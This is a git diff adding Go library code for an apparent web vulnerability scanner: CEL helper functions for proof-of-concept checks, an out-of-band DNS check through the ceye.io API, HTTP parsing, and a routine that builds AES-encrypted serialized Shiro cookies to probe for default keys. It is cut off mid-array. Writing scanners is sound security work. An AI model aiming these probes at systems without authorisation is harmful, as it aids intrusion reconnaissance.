types.Bool(ok) + }, + }, + &functions.Overload{ + Operator: "md5_string", + Unary: func(value ref.Val) ref.Val { + v, ok := value.(types.String) + if !ok { + return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type()) + } + return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v)))) + }, + }, + &functions.Overload{ + Operator: "randomInt_int_int", + Binary: func(lhs ref.Val, rhs ref.Val) ref.Val { + from, ok := lhs.(types.Int) + if !ok { + return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type()) + } + to, ok := rhs.(types.Int) + if !ok { + return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type()) + } + min, max := int(from), int(to) + return types.Int(rand.Intn(max-min) + min) + }, + }, + &functions.Overload{ + Operator: "randomLowercase_int", + Unary: func(value ref.Val) ref.Val { + n, ok := value.(types.Int) + if !ok { + return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type()) + } + return types.String(randomLowercase(int(n))) + }, + }, + &functions.Overload{ + Operator: "randomUppercase_int", + Unary: func(value ref.Val) ref.Val { + n, ok := value.(types.Int) + if !ok { + return types.ValOrErr(value, "unexpected type '%v' passed to randomUppercase", value.Type()) + } + return types.String(randomUppercase(int(n))) + }, + }, + &functions.Overload{ + Operator: "randomString_int", + Unary: func(value ref.Val) ref.Val { + n, ok := value.(types.Int) + if !ok { + return types.ValOrErr(value, "unexpected type '%v' passed to randomString", value.Type()) + } + return types.String(randomString(int(n))) + }, + }, + &functions.Overload{ + Operator: "base64_string", + Unary: func(value ref.Val) ref.Val { + v, ok := value.(types.String) + if !ok { + return types.ValOrErr(value, "unexpected type '%v' passed to base64_string", value.Type()) + } + return types.String(base64.StdEncoding.EncodeToString([]byte(v))) + }, + }, + &functions.Overload{ + Operator: "base64_bytes", + Unary: func(value ref.Val) ref.Val { + v, ok := value.(types.Bytes) + if !ok { + return types.ValOrErr(value, "unexpected type '%v' passed to base64_bytes", value.Type()) + } + return types.String(base64.StdEncoding.EncodeToString(v)) + }, + }, + &functions.Overload{ + Operator: "base64Decode_string", + Unary: func(value ref.Val) ref.Val { + v, ok := value.(types.String) + if !ok { + return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_string", value.Type()) + } + decodeBytes, err := base64.StdEncoding.DecodeString(string(v)) + if err != nil { + return types.NewErr("%v", err) + } + return types.String(decodeBytes) + }, + }, + &functions.Overload{ + Operator: "base64Decode_bytes", + Unary: func(value ref.Val) ref.Val { + v, ok := value.(types.Bytes) + if !ok { + return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_bytes", value.Type()) + } + decodeBytes, err := base64.StdEncoding.DecodeString(string(v)) + if err != nil { + return types.NewErr("%v", err) + } + return types.String(decodeBytes) + }, + }, + &functions.Overload{ + Operator: "urlencode_string", + Unary: func(value ref.Val) ref.Val { + v, ok := value.(types.String) + if !ok { + return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_string", value.Type()) + } + return types.String(url.QueryEscape(string(v))) + }, + }, + &functions.Overload{ + Operator: "urlencode_bytes", + Unary: func(value ref.Val) ref.Val { + v, ok := value.(types.Bytes) + if !ok { + return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_bytes", value.Type()) + } + return types.String(url.QueryEscape(string(v))) + }, + }, + &functions.Overload{ + Operator: "urldecode_string", + Unary: func(value ref.Val) ref.Val { + v, ok := value.(types.String) + if !ok { + return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_string", value.Type()) + } + decodeString, err := url.QueryUnescape(string(v)) + if err != nil { + return types.NewErr("%v", err) + } + return types.String(decodeString) + }, + }, + &functions.Overload{ + Operator: "urldecode_bytes", + Unary: func(value ref.Val) ref.Val { + v, ok := value.(types.Bytes) + if !ok { + return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_bytes", value.Type()) + } + decodeString, err := url.QueryUnescape(string(v)) + if err != nil { + return types.NewErr("%v", err) + } + return types.String(decodeString) + }, + }, + &functions.Overload{ + Operator: "substr_string_int_int", + Function: func(values ...ref.Val) ref.Val { + if len(values) == 3 { + str, ok := values[0].(types.String) + if !ok { + return types.NewErr("invalid string to 'substr'") + } + start, ok := values[1].(types.Int) + if !ok { + return types.NewErr("invalid start to 'substr'") + } + length, ok := values[2].(types.Int) + if !ok { + return types.NewErr("invalid length to 'substr'") + } + runes := []rune(str) + if start < 0 || length < 0 || int(start+length) > len(runes) { + return types.NewErr("invalid start or length to 'substr'") + } + return types.String(runes[start : start+length]) + } else { + return types.NewErr("too many arguments to 'substr'") + } + }, + }, + &functions.Overload{ + Operator: "reverse_wait_int", + Binary: func(lhs ref.Val, rhs ref.Val) ref.Val { + reverse, ok := lhs.Value().(*Reverse) + if !ok { + return types.ValOrErr(lhs, "unexpected type '%v' passed to 'wait'", lhs.Type()) + } + timeout, ok := rhs.Value().(int64) + if !ok { + return types.ValOrErr(rhs, "unexpected type '%v' passed to 'wait'", rhs.Type()) + } + return types.Bool(reverseCheck(reverse, timeout)) + }, + }, + &functions.Overload{ + Operator: "icontains_string", + Binary: func(lhs ref.Val, rhs ref.Val) ref.Val { + v1, ok := lhs.(types.String) + if !ok { + return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type()) + } + v2, ok := rhs.(types.String) + if !ok { + return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type()) + } + // 不区分大小写包含 + return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2)))) + }, + }, + &functions.Overload{ + Operator: "tongda_date", + Function: func(value ...ref.Val) ref.Val { + return types.String(time.Now().Format("0601")) + }, + }, + &functions.Overload{ + Operator: "shiro_key", + Binary: func(key ref.Val, mode ref.Val) ref.Val { + v1, ok := key.(types.String) + if !ok { + return types.ValOrErr(key, "unexpected type '%v' passed to shiro_key", key.Type()) + } + v2, ok := mode.(types.String) + if !ok { + return types.ValOrErr(mode, "unexpected type '%v' passed to shiro_mode", mode.Type()) + } + cookie := GetShrioCookie(string(v1), string(v2)) + if cookie == "" { + return types.NewErr("%v", "key b64decode failed") + } + return types.String(cookie) + }, + }, + &functions.Overload{ + Operator: "startsWith_bytes", + Binary: func(lhs ref.Val, rhs ref.Val) ref.Val { + v1, ok := lhs.(types.Bytes) + if !ok { + return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_bytes", lhs.Type()) + } + v2, ok := rhs.(types.Bytes) + if !ok { + return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_bytes", rhs.Type()) + } + // 不区分大小写包含 + return types.Bool(bytes.HasPrefix(v1, v2)) + }, + }, + &functions.Overload{ + Operator: "startsWith_string", + Binary: func(lhs ref.Val, rhs ref.Val) ref.Val { + v1, ok := lhs.(types.String) + if !ok { + return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_string", lhs.Type()) + } + v2, ok := rhs.(types.String) + if !ok { + return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_string", rhs.Type()) + } + // 不区分大小写包含 + return types.Bool(strings.HasPrefix(strings.ToLower(string(v1)), strings.ToLower(string(v2)))) + }, + }, + &functions.Overload{ + Operator: "hexdecode", + Unary: func(lhs ref.Val) ref.Val { + v1, ok := lhs.(types.String) + if !ok { + return types.ValOrErr(lhs, "unexpected type '%v' passed to hexdecode", lhs.Type()) + } + out, err := hex.DecodeString(string(v1)) + if err != nil { + return types.ValOrErr(lhs, "hexdecode error: %v", err) + } + // 不区分大小写包含 + return types.Bytes(out) + }, + }, + ), + } + return c +} + +// CompileOptions 返回环境编译选项 +func (c *CustomLib) CompileOptions() []cel.EnvOption { + return c.envOptions +} + +// ProgramOptions 返回程序运行选项 +func (c *CustomLib) ProgramOptions() []cel.ProgramOption { + return c.programOptions +} + +// UpdateCompileOptions 更新编译选项,处理不同类型的变量声明 +func (c *CustomLib) UpdateCompileOptions(args StrMap) { + for _, item := range args { + key, value := item.Key, item.Value + + // 根据函数前缀确定变量类型 + var declaration *exprpb.Decl + switch { + case strings.HasPrefix(value, "randomInt"): + // randomInt 函数返回整型 + declaration = decls.NewIdent(key, decls.Int, nil) + case strings.HasPrefix(value, "newReverse"): + // newReverse 函数返回 Reverse 对象 + declaration = decls.NewIdent(key, decls.NewObjectType("lib.Reverse"), nil) + default: + // 默认声明为字符串类型 + declaration = decls.NewIdent(key, decls.String, nil) + } + + c.envOptions = append(c.envOptions, cel.Declarations(declaration)) + } +} + +// 初始化随机数生成器 +var randSource = rand.New(rand.NewSource(time.Now().Unix())) + +// randomLowercase 生成指定长度的小写字母随机字符串 +func randomLowercase(n int) string { + const lowercase = "abcdefghijklmnopqrstuvwxyz" + return RandomStr(randSource, lowercase, n) +} + +// randomUppercase 生成指定长度的大写字母随机字符串 +func randomUppercase(n int) string { + const uppercase = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + return RandomStr(randSource, uppercase, n) +} + +// randomString 生成指定长度的随机字符串(包含大小写字母和数字) +func randomString(n int) string { + const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + return RandomStr(randSource, charset, n) +} + +// reverseCheck 检查 DNS 记录是否存在 +func reverseCheck(r *Reverse, timeout int64) bool { + // 检查必要条件 + if ceyeApi == "" || r.Domain == "" || !common.DnsLog { + return false + } + + // 等待指定时间 + time.Sleep(time.Second * time.Duration(timeout)) + + // 提取子域名 + sub := strings.Split(r.Domain, ".")[0] + + // 构造 API 请求 TargetURL + apiURL := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", + ceyeApi, sub) + + // 创建并发送请求 + req, _ := http.NewRequest("GET", apiURL, nil) + resp, err := DoRequest(req, false) + if err != nil { + return false + } + + // 检查响应内容 + hasData := !bytes.Contains(resp.Body, []byte(`"data": []`)) + isOK := bytes.Contains(resp.Body, []byte(`"message": "OK"`)) + + if hasData && isOK { + fmt.Println(apiURL) + return true + } + return false +} + +// RandomStr 生成指定长度的随机字符串 +func RandomStr(randSource *rand.Rand, letterBytes string, n int) string { + const ( + // 用 6 位比特表示一个字母索引 + letterIdxBits = 6 + // 生成掩码:000111111 + letterIdxMask = 1<= 0; { + // 当可用的随机位用完时,重新获取随机数 + if remain == 0 { + cache, remain = randSource.Int63(), letterIdxMax + } + + // 获取字符集中的随机索引 + if idx := int(cache & letterIdxMask); idx < len(letterBytes) { + randBytes[i] = letterBytes[idx] + i-- + } + + // 右移已使用的位,更新计数器 + cache >>= letterIdxBits + remain-- + } + + return string(randBytes) +} + +// DoRequest 执行 HTTP 请求 +func DoRequest(req *http.Request, redirect bool) (*Response, error) { + // 处理请求头 + if req.Body != nil && req.Body != http.NoBody { + // 设置 Content-Length + req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength))) + + // 如果未指定 Content-Type,设置默认值 + if req.Header.Get("Content-Type") == "" { + req.Header.Set("Content-Type", "application/x-www-form-urlencoded") + } + } + + // 执行请求 + var ( + oResp *http.Response + err error + ) + + if redirect { + oResp, err = Client.Do(req) + } else { + oResp, err = ClientNoRedirect.Do(req) + } + + if err != nil { + return nil, fmt.Errorf("请求执行失败: %w", err) + } + defer oResp.Body.Close() + + // 解析响应 + resp, err := ParseResponse(oResp) + if err != nil { + common.LogError("响应解析失败: " + err.Error()) + } + + return resp, err +} + +// ParseUrl 解析 TargetURL 并转换为自定义 TargetURL 类型 +func ParseUrl(u *url.URL) *UrlType { + return &UrlType{ + Scheme: u.Scheme, + Domain: u.Hostname(), + Host: u.Host, + Port: u.Port(), + Path: u.EscapedPath(), + Query: u.RawQuery, + Fragment: u.Fragment, + } +} + +// ParseRequest 将标准 HTTP 请求转换为自定义请求对象 +func ParseRequest(oReq *http.Request) (*Request, error) { + req := &Request{ + Method: oReq.Method, + Url: ParseUrl(oReq.URL), + Headers: make(map[string]string), + ContentType: oReq.Header.Get("Content-Type"), + } + + // 复制请求头 + for k := range oReq.Header { + req.Headers[k] = oReq.Header.Get(k) + } + + // 处理请求体 + if oReq.Body != nil && oReq.Body != http.NoBody { + data, err := io.ReadAll(oReq.Body) + if err != nil { + return nil, fmt.Errorf("读取请求体失败: %w", err) + } + req.Body = data + // 重新设置请求体,允许后续重复读取 + oReq.Body = io.NopCloser(bytes.NewBuffer(data)) + } + + return req, nil +} + +// ParseResponse 将标准 HTTP 响应转换为自定义响应对象 +func ParseResponse(oResp *http.Response) (*Response, error) { + resp := Response{ + Status: int32(oResp.StatusCode), + Url: ParseUrl(oResp.Request.URL), + Headers: make(map[string]string), + ContentType: oResp.Header.Get("Content-Type"), + } + + // 复制响应头,合并多值头部为分号分隔的字符串 + for k := range oResp.Header { + resp.Headers[k] = strings.Join(oResp.Header.Values(k), ";") + } + + // 读取并解析响应体 + body, err := getRespBody(oResp) + if err != nil { + return nil, fmt.Errorf("处理响应体失败: %w", err) + } + resp.Body = body + + return &resp, nil +} + +// getRespBody 读取 HTTP 响应体并处理可能的 gzip 压缩 +func getRespBody(oResp *http.Response) ([]byte, error) { + // 读取原始响应体 + body, err := io.ReadAll(oResp.Body) + if err != nil && err != io.EOF && len(body) == 0 { + return nil, err + } + + // 处理 gzip 压缩 + if strings.Contains(oResp.Header.Get("Content-Encoding"), "gzip") { + reader, err := gzip.NewReader(bytes.NewReader(body)) + if err != nil { + return body, nil // 如果解压失败,返回原始数据 + } + defer reader.Close() + + decompressed, err := io.ReadAll(reader) + if err != nil && err != io.EOF && len(decompressed) == 0 { + return nil, err + } + if len(decompressed) == 0 && len(body) != 0 { + return body, nil + } + return decompressed, nil + } + + return body, nil +} diff --git a/webscan/lib/Shiro.go b/webscan/lib/Shiro.go new file mode 100644 index 0000000..ce24978 --- /dev/null +++ b/webscan/lib/Shiro.go @@ -0,0 +1,102 @@ +package lib + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "encoding/base64" + "io" + + uuid "github.com/satori/go.uuid" +) + +var ( + // CheckContent 是经过base64编码的Shiro序列化对象 + CheckContent = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==" + // Content 是解码后的原始内容 + Content, _ = base64.StdEncoding.DecodeString(CheckContent) +) + +// Padding 对明文进行PKCS7填充 +func Padding(plainText []byte, blockSize int) []byte { + // 计算需要填充的长度 + paddingLength := blockSize - len(plainText)%blockSize + + // 使用paddingLength个paddingLength值进行填充 + paddingText := bytes.Repeat([]byte{byte(paddingLength)}, paddingLength) + + return append(plainText, paddingText...) +} + +// GetShrioCookie 获取加密后的Shiro Cookie值 +func GetShrioCookie(key, mode string) string { + if mode == "gcm" { + return AES_GCM_Encrypt(key) + } + return AES_CBC_Encrypt(key) +} + +// AES_CBC_Encrypt 使用AES-CBC模式加密 +func AES_CBC_Encrypt(shirokey string) string { + // 解码密钥 + key, err := base64.StdEncoding.DecodeString(shirokey) + if err != nil { + return "" + } + + // 创建AES加密器 + block, err := aes.NewCipher(key) + if err != nil { + return "" + } + + // PKCS7填充 + paddedContent := Padding(Content, block.BlockSize()) + + // 生成随机IV + iv := uuid.NewV4().Bytes() + + // 创建CBC加密器 + blockMode := cipher.NewCBCEncrypter(block, iv) + + // 加密数据 + cipherText := make([]byte, len(paddedContent)) + blockMode.CryptBlocks(cipherText, paddedContent) + + // 拼接IV和密文并base64编码 + return base64.StdEncoding.EncodeToString(append(iv, cipherText...)) +} + +// AES_GCM_Encrypt 使用AES-GCM模式加密(Shiro 1.4.2+) +func AES_GCM_Encrypt(shirokey string) string { + // 解码密钥 + key, err := base64.StdEncoding.DecodeString(shirokey) + if err != nil { + return "" + } + + // 创建AES加密器 + block, err := aes.NewCipher(key) + if err != nil { + return "" + } + + // 生成16字节随机数作为nonce + nonce := make([]byte, 16) + if _, err := io.ReadFull(rand.Reader, nonce); err != nil { + return "" + } + + // 创建GCM加密器 + aesgcm, err := cipher.NewGCMWithNonceSize(block, 16) + if err != nil { + return "" + } + + // 加密数据 + ciphertext := aesgcm.Seal(nil, nonce, Content, nil) + + // 拼接nonce和密文并base64编码 + return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...)) +} diff --git a/webscan/lib/http.pb.go b/webscan/lib/http.pb.go new file mode 100644 index 0000000..8265534 --- /dev/null +++ b/webscan/lib/http.pb.go @@ -0,0 +1,520 @@ +//go:generate protoc --go_out=. http.proto + +// Code generated by protoc-gen-go. DO NOT EDIT. +// versions: +// protoc-gen-go v1.26.0 +// protoc v3.20.3 +// source: http.proto + +package lib + +import ( + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + reflect "reflect" + sync "sync" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +type UrlType struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Scheme string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"` + Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"` + Host string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"` + Port string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"` + Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"` + Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"` + Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"` +} + +func (x *UrlType) Reset() { + *x = UrlType{} + if protoimpl.UnsafeEnabled { + mi := &file_http_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *UrlType) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*UrlType) ProtoMessage() {} + +func (x *UrlType) ProtoReflect() protoreflect.Message { + mi := &file_http_proto_msgTypes[0] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use UrlType.ProtoReflect.Descriptor instead. +func (*UrlType) Descriptor() ([]byte, []int) { + return file_http_proto_rawDescGZIP(), []int{0} +} + +func (x *UrlType) GetScheme() string { + if x != nil { + return x.Scheme + } + return "" +} + +func (x *UrlType) GetDomain() string { + if x != nil { + return x.Domain + } + return "" +} + +func (x *UrlType) GetHost() string { + if x != nil { + return x.Host + } + return "" +} + +func (x *UrlType) GetPort() string { + if x != nil { + return x.Port + } + return "" +} + +func (x *UrlType) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *UrlType) GetQuery() string { + if x != nil { + return x.Query + } + return "" +} + +func (x *UrlType) GetFragment() string { + if x != nil { + return x.Fragment + } + return "" +} + +type Request struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"` + Method string `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"` + Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"` + Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"` +} + +func (x *Request) Reset() { + *x = Request{} + if protoimpl.UnsafeEnabled { + mi := &file_http_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *Request) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Request) ProtoMessage() {} + +func (x *Request) ProtoReflect() protoreflect.Message { + mi := &file_http_proto_msgTypes[1] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Request.ProtoReflect.Descriptor instead. +func (*Request) Descriptor() ([]byte, []int) { + return file_http_proto_rawDescGZIP(), []int{1} +} + +func (x *Request) GetUrl() *UrlType { + if x != nil { + return x.Url + } + return nil +} + +func (x *Request) GetMethod() string { + if x != nil { + return x.Method + } + return "" +} + +func (x *Request) GetHeaders() map[string]string { + if x != nil { + return x.Headers + } + return nil +} + +func (x *Request) GetContentType() string { + if x != nil { + return x.ContentType + } + return "" +} + +func (x *Request) GetBody() []byte { + if x != nil { + return x.Body + } + return nil +} + +type Response struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"` + Status int32 `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"` + Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"` + Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"` + Duration float64 `protobuf:"fixed64,6,opt,name=duration,proto3" json:"duration,omitempty"` +} + +func (x *Response) Reset() { + *x = Response{} + if protoimpl.UnsafeEnabled { + mi := &file_http_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *Response) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Response) ProtoMessage() {} + +func (x *Response) ProtoReflect() protoreflect.Message { + mi := &file_http_proto_msgTypes[2] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Response.ProtoReflect.Descriptor instead. +func (*Response) Descriptor() ([]byte, []int) { + return file_http_proto_rawDescGZIP(), []int{2} +} + +func (x *Response) GetUrl() *UrlType { + if x != nil { + return x.Url + } + return nil +} + +func (x *Response) GetStatus() int32 { + if x != nil { + return x.Status + } + return 0 +} + +func (x *Response) GetHeaders() map[string]string { + if x != nil { + return x.Headers + } + return nil +} + +func (x *Response) GetContentType() string { + if x != nil { + return x.ContentType + } + return "" +} + +func (x *Response) GetBody() []byte { + if x != nil { + return x.Body + } + return nil +} + +func (x *Response) GetDuration() float64 { + if x != nil { + return x.Duration + } + return 0 +} + +type Reverse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Url string `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"` + Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"` + Ip string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"` + IsDomainNameServer bool `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"` +} + +func (x *Reverse) Reset() { + *x = Reverse{} + if protoimpl.UnsafeEnabled { + mi := &file_http_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *Reverse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Reverse) ProtoMessage() {} + +func (x *Reverse) ProtoReflect() protoreflect.Message { + mi := &file_http_proto_msgTypes[3] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Reverse.ProtoReflect.Descriptor instead. +func (*Reverse) Descriptor() ([]byte, []int) { + return file_http_proto_rawDescGZIP(), []int{3} +} + +func (x *Reverse) GetUrl() string { + if x != nil { + return x.Url + } + return "" +} + +func (x *Reverse) GetDomain() string { + if x != nil { + return x.Domain + } + return "" +} + +func (x *Reverse) GetIp() string { + if x != nil { + return x.Ip + } + return "" +} + +func (x *Reverse) GetIsDomainNameServer() bool { + if x != nil { + return x.IsDomainNameServer + } + return false +} + +var File_http_proto protoreflect.FileDescriptor + +var file_http_proto_rawDesc = []byte{ + 0x0a, 0x0a, 0x68, 0x74, 0x74, 0x70, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x03, 0x6c, 0x69, + 0x62, 0x22, 0xa7, 0x01, 0x0a, 0x07, 0x55, 0x72, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, + 0x06, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x12, 0x0a, + 0x04, 0x68, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x68, 0x6f, 0x73, + 0x74, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x74, 0x68, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x70, 0x61, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x71, 0x75, 0x65, + 0x72, 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, + 0x1a, 0x0a, 0x08, 0x66, 0x72, 0x61, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x66, 0x72, 0x61, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0xe9, 0x01, 0x0a, 0x07, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x03, 0x75, 0x72, 0x6c, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0c, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x55, 0x72, 0x6c, 0x54, 0x79, + 0x70, 0x65, 0x52, 0x03, 0x75, 0x72, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x6d, 0x65, 0x74, 0x68, 0x6f, + 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x6d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x12, + 0x33, 0x0a, 0x07, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x19, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x48, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x68, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x73, 0x12, 0x21, 0x0a, 0x0c, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x5f, + 0x74, 0x79, 0x70, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x63, 0x6f, 0x6e, 0x74, + 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x1a, 0x3a, 0x0a, 0x0c, 0x48, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, + 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x87, 0x02, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x03, 0x75, 0x72, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x0c, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x55, 0x72, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x52, + 0x03, 0x75, 0x72, 0x6c, 0x12, 0x16, 0x0a, 0x06, 